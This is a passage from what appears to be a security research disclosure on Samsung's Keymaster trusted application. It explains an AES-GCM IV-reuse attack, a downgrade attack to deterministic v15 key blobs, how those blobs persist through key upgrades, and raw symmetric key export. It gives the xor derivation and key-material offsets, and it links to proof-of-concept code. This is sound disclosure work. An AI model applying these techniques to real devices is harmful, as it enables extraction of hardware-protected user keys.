(10 bytes of null, then "KEYMST") and rejects any other task. It then copies the struct that the Keymaster TA sent to DMA memory, edits the salt by appending the Keymaster TA's own UID (16 bytes) and executes an SMC instruction (passing the physical address of the memory where the struct resides as the third argument). If the SMC returns 0, the modified struct is copied back to the Keymaster TA. + +`CRYPT_FUNC_KDF` also calls the same SMC function but with a different arguments (0 as the first argument instead of 1). It computes the SHA-256 digest of the KDF key, the task UID and group and the salt, then passes the address of the struct that contains both the hash and the HDK (with its length). The SMC fills the bytes of the HDK. + +## Exploiting the Keymaster TA + +### IV Reuse + +See [IV reuse](/poc/iv_reuse/README.md) for more details and proof-of-concept attacks. + +TL;DR: A privileged attacker can specify an IV during key generation/import, and this IV will be used in the AES-GCM encryption of the key material - as mentioned above, `swd_encrypt_ekey` uses the `KM_TAG_EKEY_BLOB_IV` tag (that an attacker fully controls) if it is given (otherwise, a random IV is used). + +This means that if an attacker can force the AES encryption key to be the same as the key that encrypted a different blob, they will be able to generate a collision - two ciphertexts that were encrypted using the same key and IV. + +**On Galaxy S9, the salt is deterministic so given an application ID and application data the encryption key will be constant, therefore an attacker can set the IV of a new key blob to be equal to a different key blob and generate a collision - thus compromising any key blob.** + +Given key blob `blob_A` with unknown key `key_A`, an attacker can import another blob `blob_B` with a known key `key_B` that was encrypted using the same IV and the same salt - which means the same hardware-derived key `HDK` is used in the AES operation - then xor `blob_A` with `blob_B` and `key_B` to fully recover `key_A`, since: + +``` +blob_A xor blob_B xor key_B = (E(HDK, IV) xor key_A) xor (E(HDK, IV) xor key_B) xor key_B = +(key_B xor key_B) xor key_A = key_A +``` + +To get the same IV, we pass the same value of `KM_TAG_EKEY_BLOB_IV` from `blob_A` when creating `blob_B`. + +`v15` key blobs are immediately vulnerable to the IV reuse attack: since they are only determined by the application ID and application data (and a constant string), an attacker can generate/import a key using the same IV, application ID and application data (given in ekey blob parameters) and create a collision. + +`v20-s9` key blobs on Galaxy S9 are also immediately vulnerable - as the key is deterministic (as a function of the application ID and application data and other constant strings), an attacker can force an IV and create a collision. Thus, all key blobs on the S9 are vulnerable. + +#### Finding the offset of the encrypted key material + +An ASN.1 string includes a type (e.g. integer/octet string), length and value. Possible values for type include: + +- `0x2` for `ASN1_INTEGER` +- `0x4` for `ASN1_OCTET_STRING` +- `0x30` for `ASN1_SEQUENCE` +- `0x31` for `ASN1_SET` + +`ekey_blob->ekey` is an ASN.1 string that is the AES-256-GCM encryption of an ASN.1 string of a key blob (i.e., `km_key_blob_t`). A key blob includes an `ASN1_INTEGER` for version, `ASN1_OCTET_STRING` for key material and a `SET` of key parameters. + +Let `num_bytes` be a function that returns the number of bytes that is required to represent a given integer. Let `ekey_blob` be a blob that represents a key blob for a key whose material is of length `key_len`. + +We are interested in the offset of the key material in the encrypted key blob `ekey_blob->ekey`, which contains the following: + +- 1 byte of type for the key blob: `0x30` +- `num_bytes(ekey->length)` bytes of length, depending on total string length `ekey->length` +- 1 byte of type for ASN1_INTEGER (`key_blob->ver`): `0x2` +- 1 byte of length for ASN1_INTEGER (`key_blob->ver`): `0x1` +- 1 byte of value for ASN1_INTEGER (`key_blob->ver`): E.g. `0x2` (in current version) +- 1 byte of type for ASN1_OCTET_STRING (`key_blob->key`): `0x4` +- `num_bytes(key_len)` bytes of length, depending on key length (`key_len`) +- `key_len` bytes of value for ASN1_OCTET_STRING (`key_blob->key`) + +That is, `6 + num_bytes(ekey->length) + num_bytes(key_len)` bytes until we reach key material. + +See [attack.c](/jni/core/attack.c) for the implementation of the IV reuse attack (that finds the offset of encrypted key materials and performs the xor operation). + +### Downgrade Attack + +See [downgrade attack](/poc/downgrade/README.md) for more details and proof-of-concept attacks. + +TL;DR: A privileged attacker in the Normal World can set the `KM_EKEY_BLOB_ENC_VER` tag in the ekey blob that the Keymaster TA checks in order to decide whether to encrypt with `v15` or `v20` encryption version. The latent code for the `v15` encryption version uses a deterministic KDF, therefore an attacker can perform the IV reuse attack on AES-GCM and recover the full key material. + +### Persistence of `v15` key blobs + +According to the [Keymaster API](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal), key blobs become "old" when the Keymaster device is updated or when the Normal World OS is upgraded to a newer version. When a key becomes "old", the API functions (such as `getCharacteristics`/`begin`) +return a special error code that indicates that the key must be "upgraded". + +The Keymaster API exposes the `upgradeKey` method which unwraps (decrypts) the key, examines the OS versions inside the key parameters and compares them to the current OS version. If the current OS version is higher it "upgrades" the key by wrapping (encrypting) it again (and adding the current OS version to the key parameters list). + +However, we found that the key parameters that are used in the new blob's wrapping are the same as those in the old key. As any key blob created by our downgrade attack includes the encryption version parameter (`KM_TAG_EKEY_BLOB_ENC_VER`), "upgrading" such a downgraded `v15` key blob will result in a new but still vulnerable `v15` blob. + +According to Samsung, this is the intended behavior, and since the S10 and newer devices have `v20-s10` as the default version, no `v15` key should exist "in the wild". From their response: + +> The key blob version is information about what data is bound to the KEK (Key Encryption Key) that encrypts the key blob. And, the upgradeKey API is used when a device is upgraded to an image with more recent Security Patch Level information, and it does not upgrade the key blob version, but updates the SPL (Security Patch Level) value in the key blob to the latest. In other words, it is our intended behavior that the key blob version is not upgraded. + +However, this behavior of the `upgradeKey` function allows our downgrade attack (that forces blobs to be created as `v15`) to persist through firmware updates. + +--- + +There are two reasons for the appearance of `KM_TAG_EKEY_BLOB_ENC_VER` inside the key blob: + +1. `km_pack_key_data` (responsible for encrypting the key) creates a key blob and sets the blob parameters (`key_blob->par`) to the input parameters (client controlled). +2. When serializing to ASN.1, the function `km_mark_hidden_tags` marks tags that should be removed (e.g. application ID/data, other `KM_EKEY_TAG_*` tags) so that they won't appear in the `getKeyCharacteristics` API and reveal information. + +In both cases, the `KM_TAG_EKEY_BLOB_ENC_VER` is not checked and remains in the key blob - this can be observed by calling `getKeyCharacteristics` on a v15 blob. + +### Bonus: Export of raw symmetric key material + +According to the [Keymaster API](https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal) (or [Keymaster Functions](https://source.android.com/security/keystore/implementer-ref#export_key)), `exportKey` should only export the public key of an asymmetric key pair (RSA/EC) and support only `KeyFormat::X509` for the key format. + +However, we discovered that in Samsung devices `swd_export_key` (responsible for the export command of the Keymaster TA) also allows to export raw symmetric key material (AES/DES) if a particular tag `KM_TAG_EXPORTABLE` (value `0x7000025a`, type boolean) exists in the key parameters (that is, `swd_export_key` supports `KeyFormat::RAW`). When we create a symmetric key with this tag and run the export command we get the plaintext key material. + +This seems to be a remainder of the [Keymaster2 API](https://android.googlesource.com/platform/hardware/libhardware/+/master/include/hardware/keymaster_defs.h#133), and overall should probably not exist, as an exportable private key can be easily compromised. + +According to Samsung, this is not considered as an issue as "the tag (km_tag_exportable) related operation has been removed from the Android P OS and remains only as a legacy code, so it does not operate in the application". Samsung said they will deprecate the `KM_TAG_EXPORTABLE` tag as part of their plan to remove unnecessary code in response to our report. + +[^1]: Designed using resources from Flaticon.com